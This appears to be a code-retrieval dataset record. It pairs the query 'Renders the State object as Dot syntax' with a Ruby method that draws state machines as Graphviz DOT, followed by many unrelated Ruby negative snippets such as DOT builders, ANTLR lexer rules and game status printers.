[ "0.67595047", "0.65789276", "0.64541173", "0.6320492", "0.6315098", "0.62033975", "0.6202185", "0.6199375", "0.6190483", "0.61005193", "0.60155636", "0.5951069", "0.5931403", "0.588383", "0.588383", "0.588383", "0.58591586", "0.5856718", "0.57959205", "0.5767704", "0.5762307", "0.5657479", "0.56138927", "0.56115866", "0.56115866", "0.56115866", "0.55038744", "0.5481392", "0.54736024", "0.544558", "0.54377913", "0.5431448", "0.54185885", "0.5412736", "0.5411226", "0.54096204", "0.5392576", "0.5390123", "0.53893805", "0.5377764", "0.53621715", "0.53513414", "0.53369063", "0.5327922", "0.5322211", "0.5320131", "0.5319637", "0.5319381", "0.531914", "0.53136337", "0.53136337", "0.53116244", "0.5295665", "0.5281605", "0.5262121", "0.52612084", "0.5235889", "0.5226372", "0.5223777", "0.5217554", "0.52109617", "0.5205561", "0.5183647", "0.51472527", "0.51248646", "0.5116501", "0.5116501", "0.5116501", "0.5110768", "0.50968695", "0.5094345", "0.50819767", "0.50740236", "0.505918", "0.50566685", "0.50511897", "0.5029607", "0.50186557", "0.5001779", "0.49874267", "0.49799728", "0.49799728", "0.49799728", "0.49725515", "0.49636936", "0.49405232", "0.49329376", "0.49292424", "0.49134877", "0.49069688", "0.48805994", "0.48770413", "0.4870988", "0.4868198", "0.4868198", "0.4863547", "0.48368108", "0.48278677", "0.47855932", "0.47584817" ]
0.69742304
0
Renders the State object as Dot syntax.
def render_State s return if @rendered[s] @rendered[s] = true stream.puts "\n// #{s.inspect}" sequence = [ ] if options[:history] options[:history].each_with_index do | hist, i | if hist[:new_state] && s.is_a_superstate_of?(hist[:new_state]) sequence << i + 1 end end end dot_opts = { :label => dot_label(s), :shape => :box, :style => "filled", } case when s.end_state? dot_opts[:label] = "" # DONT BOTH LABELING END STATES. dot_opts[:shape] = :doublecircle end dot_opts = dot_opts_for s, dot_opts hide_decomposition = dot_opts.delete(:hide_decomposition) stream.puts " // hide_decomposition = #{hide_decomposition.inspect}" if (hs = options[:highlight_states]) && hs.include?(s) dot_opts[:style] += ',bold' end unless sequence.empty? if options[:highlight_state_history] && (s.submachine ? hide_decomposition : true) dot_opts[:fillcolor] = :grey end if options[:show_state_sequence] dot_opts[:label] += "\\n(#{sequence_to_s(sequence)})\\r" end else if options[:highlight_state_label_history] dot_opts[:fontcolor] = :grey end if options[:highlight_state_border_history] dot_opts[:color] = :grey end end dot_opts[:color] ||= :black dot_opts[:fontcolor] ||= :black dot_opts[:fillcolor] ||= :white # Dont label FinalStates, it causes too much clutter. # Invert the colors to be more like UML. case when s.end_state? dot_opts[:label] = "" dot_opts[:fillcolor], dot_opts[:fontcolor] = dot_opts[:fontcolor], dot_opts[:fillcolor] end if ssm = s.submachine # Composite States are rendered as # a subgraph cluster with a target and source "connection point" for external connections. # This is where the dot_name(s, :source || :target) is defined. # Subsequence Transitions edges will used these connnection points. implicit_dot_opts = dot_opts.dup dot_opts[:hide_decomposition] = hide_decomposition render_StateMachine(ssm, dot_opts) do dot_opts = implicit_dot_opts dot_opts[:shape] = :point dot_opts[:label] = "[]" stream.puts %Q'\n subgraph cluster_#{dot_name(s, :source)} {' stream.puts %Q{ color=none;} stream.puts %Q{ fillcolor=none;} stream.puts %Q{ fontcolor=none;} stream.puts %Q{ label="";} stream.puts %Q{ shape="plaintext";} stream.puts %Q{ style="none";} dot_opts[:color] = :black dot_opts[:fillcolor] = :black stream.puts "\n// Implicit target point for State #{s.to_s}" stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :target)};} dot_opts[:color] = :black dot_opts[:fillcolor] = :white stream.puts "\n// Implicit source point for State #{s.to_s}" stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :source)};} stream.puts "\n }\n" end return self end # Non-composite States are rendered as simple nodes. # In this case dot_name(s, :source || :target) == dot_name(s). dot_opts[:style] += ',rounded' stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, [:source, :target])};} return self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_dot(options = {})\r\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\r\n states.each do |state|\r\n g.node(state, :label => state.items.values.collect{|item| item.to_s(options)}.join(\"\\n\"))\r\n @transitions[state].each do |symbol, dest_state|\r\n g.edge(state, dest_state, :label => symbol.name)\r\n end\r\n end\r\n end.to_dot\r\n end", "def render_StateMachine sm, dot_opts = nil\n return if @rendered[sm]\n @rendered[sm] = true\n\n dot_opts ||= { }\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n\n stream.puts \"\\n// {#{sm.inspect}\"\n name = dot_opts.delete(:_node_name) || dot_name(sm)\n type = \"subgraph #{name}\"\n\n dot_opts[:label] ||= dot_label(sm.superstate)\n dot_opts[:shape] = :box\n dot_opts[:style] = 'filled,rounded'\n dot_opts[:fillcolor] ||= :white\n dot_opts[:fontcolor] ||= :black\n\n dot_opts = dot_opts_for sm, dot_opts\n\n if hide_decomposition && false\n dot_opts[:label] += \"\\\\r o-o\"\n end\n \n stream.puts \"#{type} {\"\n stream.puts %Q{ #{render_opts(dot_opts, \";\\n \")}}\n \n yield if block_given?\n\n unless hide_decomposition\n start_name = dot_name(sm, :start)\n @rendered[start_name] = true\n stream.puts \"\\n// Implicit :start Pseudostate\"\n stream.puts %Q{ node [ shape=\"circle\", label=\"\", style=filled, fillcolor=black ] #{start_name}; }\n sm.states.each { | s | render(s) }\n end\n\n stream.puts \"}\"\n stream.puts \"// } #{sm.inspect}\\n\"\n end", "def get_dot(start_state)\n if ((start_state).nil?)\n return nil\n end\n # The output DOT graph for visualization\n dot = nil\n @marked_states = HashSet.new\n if (start_state.is_a?(DFAState))\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/dfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n dot.set_attribute(\"useBox\", Boolean.value_of(Tool.attr_internal_option_show_nfaconfigs_in_dfa))\n walk_creating_dfadot(dot, start_state)\n else\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/nfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n walk_rule_nfacreating_dot(dot, start_state)\n end\n dot.set_attribute(\"rankdir\", @rankdir)\n return dot.to_s\n end", "def dot\n end", "def to_s\n \"state: #{@symbol} (options=#{options})\"\n end", "def show_state\n return \"#{@name} a #{@life_points} points de vie\"\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 65:6: '.'\n match( 0x2e )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n\n end", "def dot\n s = \"digraph query {\\n\"\n @operators.each { |op| \n desc = op.attributes.inspect.gsub(\"\\\"\", \"\\\\\\\"\")\n label = \"[#{op.index}] #{op.name}\"\n if op.performanceData\n duration = (op.performanceData[\"endTime\"] - op.performanceData[\"startTime\"]).to_f\n label += \" (#{duration} ms)\"\n end\n s += \" #{op.index} [label=\\\"#{label}\\n #{desc}\\\", shape=box];\\n\"\n op.dependencies.each { |dep|\n s += \" #{dep.index} -> #{op.index};\\n\"\n }\n } \n s += \"}\\n\"\n end", "def do_dot\n message = pop\n object = pop\n\n\t\t# defer error handling for now\n\t\tcase object[:type]\n when :integer\n m = message[:value]\n\t\t\t@integer_msgs[m].call( object )\n when :string\n # ditto :integer\n when :frame # user defined object\n\t\t\t@fstack.push( object )\n\t\t\t# evaluate message in context of frame\n\n\t\t\tquote = Quote.new\n\t\t\tcase message[:type]\n when :quote\n\t\t\t quote.tree = message\n\t\t\t self.dot( quote )\n when :symbol\n # usr re-write rule: frame symbol . --> frame [ symbol # ] .\n\t\t\t\tquote.tree = { \n\t\t\t\t type: :quote,\n\t\t\t\t value: [ message, { type: :eval, value: \"#\" } ]\n\t\t\t\t}\n\n\t\t\t self.dot( quote )\n end\n\n\t\t\t@fstack.pop\n else\n # error\n end\n end", "def show_state\n\t\tputs \"#{@name} a #{@life_points} points de vie.\"\n\tend", "def show_state\n\t\treturn \"#{self.name} a #{self.life_points} points de vie.\"\n\tend", "def show_state\n\t\tputs \"#{self.name} a #{self.life_points} points de vie et une arme de niveau #{self.weapon_level}.\"\n\tend", "def dot\n RGL::DOT::Graph.new('elements' => dot_edges).to_s\n end", "def to_dot(include_starred_states = false)\n all_states = transitions.values.map(&:to_a).flatten.uniq.reject { |t| t == \"*\" }\n\n \"\".tap do |s|\n s << \"digraph #{self.class.name.inspect} {\\n\"\n transitions.each do |signal, signal_transitions|\n signal_transitions.each do |from, to|\n next if !include_starred_states && (from == \"*\" || to == \"*\")\n\n from = from == \"*\" ? all_states : [from]\n to = to == \"*\" ? all_states : [to]\n from.product(to).each { |f, t| s << \" #{f} -> #{t} [ label=\\\"#{signal}\\\" ]\\n\" }\n end\n end\n s << \"}\\n\"\n end\n end", "def show_state\n puts \"#{@name} a #{@life_points} de PV\"\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 369:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 154:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} de vie\"\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 176:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie\"\n end", "def show_state\n return \"#{@name} a #{life_points} points de vie et une amre de niveau #{weapon_level}\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\r\n end", "def show_state\n puts \"#{@names} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie\"\r\n end", "def show_state\n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def show_state\n\t\tputs \"#{@name} a #{life_points} de points de vie et une arme de niveau #{weapon_level}\"\n\tend", "def show_state \n puts \"#{@name} a #{@life_points} points de vie et une arme au niveau #{@weapon_level}.\"\n end", "def show_state\n puts \"#{name} a #{life_points} points de vie !!\"\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie.\"\n end", "def show_state \n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def show_state\n puts \"#{name} a #{life_points} points de vie!\"\n end", "def show_state\n \tputs \"#{@name} a #{life_points} points de vie\"\n end", "def dot\n print \".\"\n $stdout.flush\n end", "def show_state \n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie et son arme est de niveau #{self.weapon_level}.\"\n end", "def to_dot(opts={})\n\n s = [ \"digraph \\\"process wfid #{wfid}\\\" {\" ]\n @expressions.each { |e| s.push(*e.send(:to_dot, opts)) }\n @errors.each { |e| s.push(*e.send(:to_dot, opts)) }\n s << '}'\n\n s.join(\"\\n\")\n end", "def show_state\n puts \"#{name} à #{life_points} points de vie\"\n end", "def to_s\n \"#{name}#{state}\"\n end", "def to_dot\n i = 0\n dot = [\"digraph G {\", \"#{i} [label=\\\"self\\\"];\"]\n _to_dot(dot, \"\", i, self, i)\n dot << \"}\"\n dot.join(\"\\n\")\n end", "def show_state\n puts \"#{names} a #{life_points} points de vie\"\n end", "def to_dot\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\n parse_tree.to_dot(g)\n end.to_dot\n end", "def dot_code(io)\n # puts \"drawing record\"\n props\n portinfos = get_port_nodes.map do |n|\n OpenStruct.new(name: n.node_name,\n label: MFactor::dot_escape(n.dot_label)+(n.symbol ? \"(#{n.symbol})\":\"\"))\n end\n label= '\"{{'\n label << (portinfos.map do |p|\n \"<#{p.name}> #{p.label}\"\n end.join(\" | \"))\n label << '}}\"'\n attrs={:label => label}\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io << node_name << ' ' << '[' << attr_string << \"]\\n\"\n end", "def show\n \"$#{total} #{@state[0]} #{@state[1]} #{@state[2]} #{@state[3]} #{@state[4]}\"\n end", "def show_state\n puts \"#{@name} has #{@life_points} life points\"\n end", "def display_state(object, attr)\n I18n.t(\"activerecord.attributes.#{object.class.to_s.underscore}.states.#{attr.to_s}.#{object.send(attr)}\")\n end", "def display_word_state\n @word_state.join(\" \")\n end", "def format_state(state)\n formated = \"\"\n for y in 1..$size # Builds line by line, so \"y\" comes first\n for x in 1..$size\n state[[x, y]]? (formated << \"#\") : (formated << \".\")\n end\n formated << \"\\n\"\n end\n return formated\nend", "def to_pretty_s\n \"#{type}:#{name} is #{state}\"\n end", "def describe_state(state)\n $states[state.to_sym].last.join(' ,')\nend", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def to_dot\n dfa = to_cdfa\n dfa.depth\n dfa.order_states{|s,t| s[:depth] <=> t[:depth]}\n dfa.to_dot\n end", "def state\n object.human_state_name\n end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def dot( quote )\n\t\tquote.tree[:value].each { |e|\n case e[:type]\n when :binding\n do_binding\n when :bind_constant\n do_bind_constant\n when :eval\n do_eval\n when :bang\n\t\t\t\truby = pop[:value]\n\t\t\t\tself.bang( ruby )\n when :dot\n do_dot\n when :dup\n do_dup\n\t\t\twhen :symbol\n\t v = @fstack.get( e[:value] )\n\t\t\t\tif ( v.class == Hash ) and ( v[:type] == :constant ) then\n\t\t\t\t\tpush( v[:value] )\n\t\t\t\telse\n push( e )\n end\n else\n push( e )\n end\n\t\t}\n end", "def to_s\n # access states saved in instance variables with respective getter methods\n \"This is a GoodDog named #{name} who is #{age} years old in dog years. \" \\\n \"#{name} weighs #{weight} and is #{height} tall.\"\n end", "def to_s\n\t\tputs(\"States: #{@states}\")\n\t\tputs(\"Input Symbols: #{@input_symbols}\")\n\t\tputs(\"Output_symbols: #{@output_symbols}\")\n\t\tputs(\"Left Marker: #{@left_marker}\")\n\t\tputs(\"Blank Symbol: #{@blank_symbol}\")\n\t\tputs(\"Start State: #{@start_state}\")\n\t\tputs(\"Accept State: #{@accept_state}\")\n\t\tputs(\"Reject State: #{@reject_state}\")\n\t\tputs(\"Function Map: #{@function_map}\")\n\t\treturn \"\"\n\tend", "def display ( )\n puts 'Parser states: ' + @states.size.to_s\n\n @states.each do |st|\n\tputs\n\tputs '*' * 80\n\tputs 'state: ' + st.statename\n\tputs 'branches: '\n\tst.branches.each do |br|\n\t puts ' ' + @states[br].statename\n\tend\n end\n end", "def render\n # need to return the following like this\n # 1) font_size as font-size \n # 2) dot_size as dot-size\n # 3) outline_colour as outline-colour\n # 4) halo_size as halo-size\n # 5) start_angle as start-angle\n # 6) tick_height as tick-height\n # 7) grid_colour as grid-colour\n # 8) threed as 3d\n # 9) tick_length as tick-length\n # 10) visible_steps as visible-steps\n # 11) key_on_click as key-on-click\n returning self.to_json do |output|\n output.gsub!(\"threed\",\"3d\")\n output.gsub!(\"default_dot_style\",\"dot_style\")\n %w(solid_dot font_size dot_size outline_colour halo_size start_angle tick_height grid_colour tick_length no_labels label_colour gradient_fill fill_alpha on_click spoke_labels visible_steps key_on_click dot_style hollow_dot).each do |replace|\n output.gsub!(replace, replace.gsub(\"_\", \"-\"))\n end\n end\n end", "def dot(&block)\n ext(Rule.for(DOT), block)\n end", "def to_state; \"(#{[@id, @points[0][:x], @points[0][:y], @points[1][:x], @points[1][:y]].join(\", \")})\" end", "def walk_rule_nfacreating_dot(dot, s)\n if (@marked_states.contains(s))\n return # already visited this node\n end\n @marked_states.add(s) # mark this node as completed.\n # first add this node\n state_st = nil\n if (s.is_accept_state)\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/stopstate\")\n else\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/state\")\n end\n state_st.set_attribute(\"name\", get_state_label(s))\n dot.set_attribute(\"states\", state_st)\n if (s.is_accept_state)\n return # don't go past end of rule node to the follow states\n end\n # special case: if decision point, then line up the alt start states\n # unless it's an end of block\n if ((s).is_decision_state)\n n = (s).attr_associated_astnode\n if (!(n).nil? && !(n.get_type).equal?(ANTLRParser::EOB))\n rank_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/decision-rank\")\n alt = s\n while (!(alt).nil?)\n rank_st.set_attribute(\"states\", get_state_label(alt))\n if (!(alt.attr_transition[1]).nil?)\n alt = alt.attr_transition[1].attr_target\n else\n alt = nil\n end\n end\n dot.set_attribute(\"decisionRanks\", rank_st)\n end\n end\n # make a DOT edge for each transition\n edge_st = nil\n i = 0\n while i < s.get_number_of_transitions\n edge = s.transition(i)\n if (edge.is_a?(RuleClosureTransition))\n rr = (edge)\n # don't jump to other rules, but display edge to follow node\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n if (!(rr.attr_rule.attr_grammar).equal?(@grammar))\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_grammar.attr_name) + \".\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n else\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n end\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(rr.attr_follow_state))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, rr.attr_follow_state)\n i += 1\n next\n end\n if (edge.is_action)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/action-edge\")\n else\n if (edge.is_epsilon)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/epsilon-edge\")\n else\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n end\n end\n edge_st.set_attribute(\"label\", get_edge_label(edge))\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(edge.attr_target))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, edge.attr_target) # keep walkin'\n i += 1\n end\n end", "def state_sym\n return self.state.to_s.gsub(/_state$/, '').to_sym\n end", "def echo_state(state)\n if String.disable_colorization\n case state\n when 'running' then '+ ' \n when 'stopped' then '- '\n when 'terminated' then 'X '\n when 'pending' then 'O '\n when 'shutting-down' then '\\\\_'\n when 'stopping' then '~-'\n else '??'\n end\n else\n case state\n when 'running' then '✅ ' \n when 'stopped' then '❙❙'\n when 'terminated' then '⚫ '\n when 'pending' then '⚪ '\n when 'shutting-down' then '♺ '\n when 'stopping' then '⌛ '\n else '??'\n end\n end\nend", "def dump_state\n $log.debug \"State: [#{state.to_pretty_s}]\"\n end", "def render( render_state )\n\t\traw = super\n\t\tbuf = String.new( '' )\n\t\tPP.pp( raw, buf )\n\t\treturn self.escape( buf.chomp, render_state )\n\tend", "def render_state(state)\n @cell = self\n state = state.to_s\n self.state_name = state\n\n @state_return_value = dispatch_state(state)\n\n render_to_string(state)\n end", "def show_state\n return puts \"#{super} et une arme de niveau \\\"#{@weapon_level}\\\"\"\n end", "def to_dot\n return unless gv_object\n gv_object.to_s\n end", "def inspect\n \"#{name}=#{state.inspect} #{location}\"\n end", "def doubledot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n\n\n type = DOUBLEDOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 313:4: ':'\n match( 0x3a )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n\n end", "def dotify(h)\n h.use_dot_syntax = true; h.keys.each{|k| dotify(h[k]) if h[k].is_a?(::Hash)}\n end", "def state_short(s, opts={tag: 'li'})\n if s\n \"<#{opts[:tag]} class=\\\"state #{s.state}\\\" style=\\\"opacity: #{age_fraction s.time}\\\" title=\\\"#{h s.description}\\\">#{h s.host} #{h s.service}</#{opts[:tag]}>\"\n else\n \"<#{opts[:tag]} class=\\\"service\\\"></#{opts[:tag]}>\"\n end\n end", "def dot_label x\n @dot_label[x] ||=\n _dot_label x\n end", "def _to_dot(dot, l, c, e, i)\n i += 1\n dot << \"#{c} -> #{i} [label=\\\"#{l}\\\"];\" if l\n c = i\n case e\n when LiteralString\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}.lit\\\"];\"\n i\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i\n when Array\n dot << \"#{i} [label=\\\"Array\\\"];\"\n e.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when Hash\n dot << \"#{i} [label=\\\"Hash\\\"];\"\n e.each do |k, v|\n i = _to_dot(dot, k, c, v, i)\n end\n when SQL::ComplexExpression \n dot << \"#{i} [label=\\\"ComplexExpression: #{e.op}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Identifier\n dot << \"#{i} [label=\\\"Identifier\\\"];\"\n i = _to_dot(dot, :value, c, e.value, i)\n when SQL::QualifiedIdentifier\n dot << \"#{i} [label=\\\"QualifiedIdentifier\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :column, c, e.column, i)\n when SQL::OrderedExpression\n dot << \"#{i} [label=\\\"OrderedExpression: #{e.descending ? :DESC : :ASC}#{\" NULLS #{e.nulls.to_s.upcase}\" if e.nulls}\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n when SQL::AliasedExpression\n dot << \"#{i} [label=\\\"AliasedExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n i = _to_dot(dot, :alias, c, e.aliaz, i)\n when SQL::CaseExpression\n dot << \"#{i} [label=\\\"CaseExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i) if e.expression\n i = _to_dot(dot, :conditions, c, e.conditions, i)\n i = _to_dot(dot, :default, c, e.default, i)\n when SQL::Cast\n dot << \"#{i} [label=\\\"Cast\\\"];\"\n i = _to_dot(dot, :expr, c, e.expr, i)\n i = _to_dot(dot, :type, c, e.type, i)\n when SQL::Function\n dot << \"#{i} [label=\\\"Function: #{e.f}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Subscript \n dot << \"#{i} [label=\\\"Subscript: #{e.f}\\\"];\"\n i = _to_dot(dot, :f, c, e.f, i)\n i = _to_dot(dot, :sub, c, e.sub, i)\n when SQL::WindowFunction\n dot << \"#{i} [label=\\\"WindowFunction\\\"];\"\n i = _to_dot(dot, :function, c, e.function, i)\n i = _to_dot(dot, :window, c, e.window, i)\n when SQL::Window\n dot << \"#{i} [label=\\\"Window\\\"];\"\n i = _to_dot(dot, :opts, c, e.opts, i)\n when SQL::PlaceholderLiteralString\n str = e.str\n str = \"(#{str})\" if e.parens\n dot << \"#{i} [label=\\\"PlaceholderLiteralString: #{str.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i = _to_dot(dot, :args, c, e.args, i)\n when SQL::JoinClause\n str = \"#{e.join_type.to_s.upcase} JOIN\"\n if e.is_a?(SQL::JoinOnClause)\n str << \" ON\"\n elsif e.is_a?(SQL::JoinUsingClause)\n str << \" USING\"\n end\n dot << \"#{i} [label=\\\"#{str}\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :alias, c, e.table_alias, i) if e.table_alias\n if e.is_a?(SQL::JoinOnClause)\n i = _to_dot(dot, :on, c, e.on, i)\n elsif e.is_a?(SQL::JoinUsingClause)\n i = _to_dot(dot, :using, c, e.using, i)\n end\n when Dataset\n dot << \"#{i} [label=\\\"Dataset\\\"];\"\n TO_DOT_OPTIONS.each do |k|\n next unless e.opts[k]\n i = _to_dot(dot, k, c, e.opts[k], i)\n end\n else\n dot << \"#{i} [label=\\\"Unhandled: #{e.inspect.gsub('\"', \"''\")}\\\"];\"\n end\n i\n end", "def show_state\n if @life_points < 0\n @life_points = 0\n end\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def dot_label x, opts = EMPTY_HASH\n @dot_label[[x, opts]] ||=\n case x\n when Cabar::Component\n # * name and version\n # * directory\n # * facets (optional)\n str = ''\n\n if show_component_name\n str << \"#{x.name}\"\n else\n str << \"#\"\n end\n\n if show_component_version\n str << \"/#{x.version}\" if opts[:version] != false\n end\n\n if show_component_directory\n dir = x.directory.to_s.sub(/^#{@current_directory}/, './')\n str << \"\\n#{dir}\"\n end\n\n if show_facet_names && opts[:show_facet_names] != false\n str << \"\\n\"\n # <- <<exported facet name>>\n x.provides.\n map{|f| f.key.to_s}.\n sort.\n each{|f| str << \"<- #{f}\\\\l\"}\n\n # <* <<plugin name>>\n x.plugins.\n map{|p| p.name}.\n sort.\n map{|p| p.sub(/\\/.*$/, '/*')}.\n uniq.\n each{|p| str << \"<* #{p}\\\\l\"}\n end\n # '\"' + str + '\"'\n str\n when Cabar::Facet::RequiredComponent\n # Use the version requirement.\n show_dependency_constraint ?\n (x._proto ? x.version.to_s : x.key.to_s) :\n EMPTY_STRING\n when Cabar::Facet\n # Use the facet name.\n x.key.to_s\n else\n x.to_s\n end\n end", "def state_text state = self.State\n P2::DS_MESSAGES[state]\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n # Si la méthode show_state est appliqué à l'instance player1 (Josiane), le programme sait que la variable @nom est \"Josiane\" et @life_points est le nombre de points de vie de Josiane\n end", "def name\n state_name\n end", "def dependency_in_dot\n result = \"\"\n result << \"digraph recipes {\\n\"\n result << \" rankdir=LR;\\n\"\n result << _dependency_in_dot\n result << \"}\"\n\n result\n end", "def print_state(machine)\n puts \"[#{machine[:stack]}, #{machine[:register]}]\"\nend", "def current_state_string\n string = \"\"\n\n (@size * @size).times{ |i|\n if i % @size == 0\n string << \"\\n\\t\"\n end\n if @state[i]\n string << \"1 \"\n else\n string << \"0 \"\n end\n }\n string << \"\\n\"\n\n return string\n end", "def dfa2dot(dfa)\n str = \"digraph {\\n\"\n str += \"size=\\\"2,2\\\"\\nratio=1.0\\n\"\n str += \"node [shape=circle]\\n\"\n str += \"preinit [shape=plaintext, label=\\\"\\\"]\\n\"\n (dfa.states - dfa.final_states).each do |state|\n str += state + \"\\n\"\n end\n str += \"node [shape=doublecircle]\\n\"\n dfa.final_states.each do |state|\n str += state + \"\\n\"\n end\n str += \"preinit -> #{dfa.initial_state}\\n\"\n dfa.states.each do |s1|\n dfa.states.each do |s2|\n res = dfa.transitions.find_all { |tr| tr[0] == s1 and tr[1] == s2 }\n unless res.empty?\n label = res.map { |tr| tr[2] }.join(',')\n str += s1 + \"->\" + s2 + \"[label=\\\"#{label}\\\"]\\n\"\n end\n end\n end\n \n str + \"}\"\n end", "def to_dot(**options) = convert_to('dot', **options)", "def show_state\n if @life_points <= 0\n puts \">>> #{@name} a 0 points de vie\"\n else\n puts \">>> #{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end\n end", "def print_state\n @@rows.times do |row|\n @@columns.times do |column|\n print '%4.4s' % @state_array[row * @@columns + column].to_s,\" \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end", "def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def dot(io)\n log \"drawing graph \"\n io << <<END\ndigraph test_definition {\ngraph [ rankdir=TB ]\nnode [shape=record,fontname=helvetica]\nedge [fontname=helvetica, arrowsize=0.5]\nEND\n # nodes,transitions = collect_nodes\n # transitions.to_a.flatten.to_set.each do |n|\n @nodes.each do |n|\n next if n.record # if we are a port, skip, record handles drawing\n if n.is_record? # if we are a record, call specialized function\n n.dot_code(io)\n else\n label_sym = (n.is_a?(JoinNode) ? :xlabel : :label)\n attrs={label_sym => '\"'+n.dot_label+'\"'}\n # if n.symbol\n # attrs[:xlabel]=n.symbol\n # end\n if n.respond_to? :dot_node_shape\n attrs[:shape]='\"'+n.dot_node_shape+'\"'\n end\n attr_string=attrs.map do |k,v|\n 